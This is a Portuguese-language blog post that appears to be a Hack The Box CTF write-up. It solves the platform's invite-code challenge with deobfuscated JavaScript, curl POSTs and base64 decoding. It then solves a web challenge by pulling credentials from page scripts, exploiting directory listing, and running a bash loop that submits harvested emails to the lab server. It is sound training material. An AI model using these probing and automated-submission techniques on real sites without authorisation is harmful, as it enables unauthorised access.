Hack The Box
To com pressa, então resumindo, HTB significa Hack the box, é uma plataforma de pentest, várias challenges, CTF stuff, blablabla.
Nada pra fazer, então fui jogar um CTF, a primeira challenge é pra se registrar, achei interessante
Invite
Então,aqui é o lugar onde se registra, ele pede um token de invite, o que nós não temos e é esse o ponto em que a gente tem que descobrir como é, e eu até tentei nos suburbios do underground no mercado negro mas ninguém tinha pra vender, claro que isso é uma piada, então como sempre em challenges web a gente basicamente lẽ o source e fica entediado várias vezes por não chegar a lugar algum, ainda mais porque o source é todo obsfuscado de próposito.
Então usando os utilitários do firefox como Inspect Element a gente pode ter uma ideia mais baixo nível sobre o que acontece quando se clica em SingUP.
Não vou tirar print nem nada, mas você vai identificar que tem alguns javascripts sendo chamados, um deles tem um nome um tanto interessante inviteapi.min.js, que dá numa function louca:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:'/d/e/n',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:'/d/e/k/l/m',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
Obviamente ela ta obfuscada, então, usando uns bag mágico de deobfuscação online, tipo esse aqui, você obtêm esse resultado:
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
Bem melhor agora né, então, analisando a função makeInviteCode(), dá pra ver que é usado o método POST e é passado JSON como resposta, um dos caras da gangue fez direto pelo firefox, alterando a URL de uma requisição POST e reenviando para esse diretório /api/invite/how/to/generate. Mas eu quis ser mais tryharder, fiz da seguinte forma:
user@Anon:~$ curl -X POST https://www.hackthebox.eu/api/invite/how/to/generate
{"success":1,"data":{"data":"SW4gb3JkZXIgdG8gZ2VuZXJhdGUgdGhlIGludml0ZSBjb2RlLCBtYWtlIGEgUE9TVCByZXF1ZXN0IHRvIC9hcGkvaW52aXRlL2dlbmVyYXRl","enctype":"BASE64"},"0":200}user@Hope:~$
Então temos um bag em JSON, data: em base64, então decodando:
user@Anon:~$ echo 'SW4gb3JkZXIgdG8gZ2VuZXJhdGUgdGhlIGludml0ZSBjb2RlLCBtYWtlIGEgUE9TVCByZXF1ZXN0IHRvIC9hcGkvaW52aXRlL2dlbmVyYXRl' | base64 -d
In order to generate the invite code, make a POST request to /api/invite/generate
Ok, então, segundo o hint, tenho que fazer um POST para /api/invite/generate
user@Hope:~$ curl -X POST https://www.hackthebox.eu/api/invite/generate | cut -d ':' -f 4 | cut -d ',' -f 1 | tr -d '"' | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 99 0 99 0 0 99 0 --:--:-- 0:00:01 --:--:-- 92
ECLDH-AHCQW-DCVUC-ZLOQK-GVNSS
Não tem problema eu deixar meu token amostra, você não vai poder utilizar mesmo.
Essa é a primeira challenge para entrar na plataforma, bem interessante eu admito, foi divertido.
Depois de ter entrado, tem um ambiente maneiro lá dentro, decidir jogar uma de Web.
Web001 – HDC
As challenges de Web utilizam um sistema de Docker, então, você tem que clicar num botão, a instância sobe e você ganha um IP:port pra brincar, sei, isso é do caralho.
Enunciado:
We believe a certain individual uses this website for shady business. Can you find out who that is and send him an email to check, using the web site's functionality?
Note: The flag is not an e-mail address.
Então, acessando o site http://88.198.233.174:34683/, vocẽ cai numa tela de login e novamente não tem a senha, então novamente analisando o source, tem um bag mt louco nesse form, e um js que te faz achar que ele é importante, mas ele não é exatamente útil.
Segue o formulário:
< form id='formaki' name='formaki' action="./main/index.php" method="post" >
< p align="center">Enter Username / Password
< input type="text" name="name1" size="20">
< input type="text" Name="name2" size="20">
< /p>
< p align="center">
< input type="hidden" value= name="name1">
< input type="hidden" value= name="name2">
< input type="button" value="Submit" onclick="doProcess()"/>
< /p>
< /form>
Ai temos dois javascripts na página, um que não importa e o segundo view-source:http://88.198.233.174:34683/jquery-3.2.1.js.
Não vou colocar esse cara aqui porque ele é extenso as hell, mas, eu basicamente procurei pelo onclick=”doProcess()” dentro desse cara, obtive os valores de name1 e name2 e testei como usuário e senha e pronto, estava dentro da plataforma.
Agora, dentro da console administrativa, eu tinha que procurar algo sobre emails, okay, então tem um link MailBoxToSpecialCustomers(mails.php) que aparente não dá em nada, analisando o source, a gente vê que tem um src = ./secret_area_/mails.gif, esse gif não importa, se você tentar fazer um indexes, vai listar todo o conteúdo do diretório e vai ver que tem um txt nele. Achamos a lista de emails. OK.
No enunciado diz que devemos disparar um email pra quem quer que seja, eu de cara obviamente não fui por esse caminho, mas depois de entrar em loop e sair do loop eu resolvi testar algo.
Coloquei a lista de email em um arquivo e codei um script para disparar automaticamente os emails e caso eu encontrasse algo semelhante a uma flag, ele parava e me mostrava, segue:
#!/bin/bash
while read line
do
value=$(echo "$line"|awk '{print $3}')
echo "[*] - Trying with $value"
page=$(curl -X POST -d "name1=$value" -d "name2=teste" http://88.198.233.174:34683/main/Diaxirisths.php 2>/dev/null)
if [ $( echo $page | grep -i HTB | wc -l ) -eq 1 ]
then
echo "[+] - Owned with $value"
echo $page
exit
fi
done < list
No arquivo list contém a lista de emails, então, não vou dar a flag aqui obviamente, foi divertido também.
Esse post significa que vou tentar voltar à CTF, pelo menos uma vez por semana, mas ta complicado porque tem várias outras coisas que precisam de atenção, mas vamos pelo melhor esforço, tcp e tal.
EOF
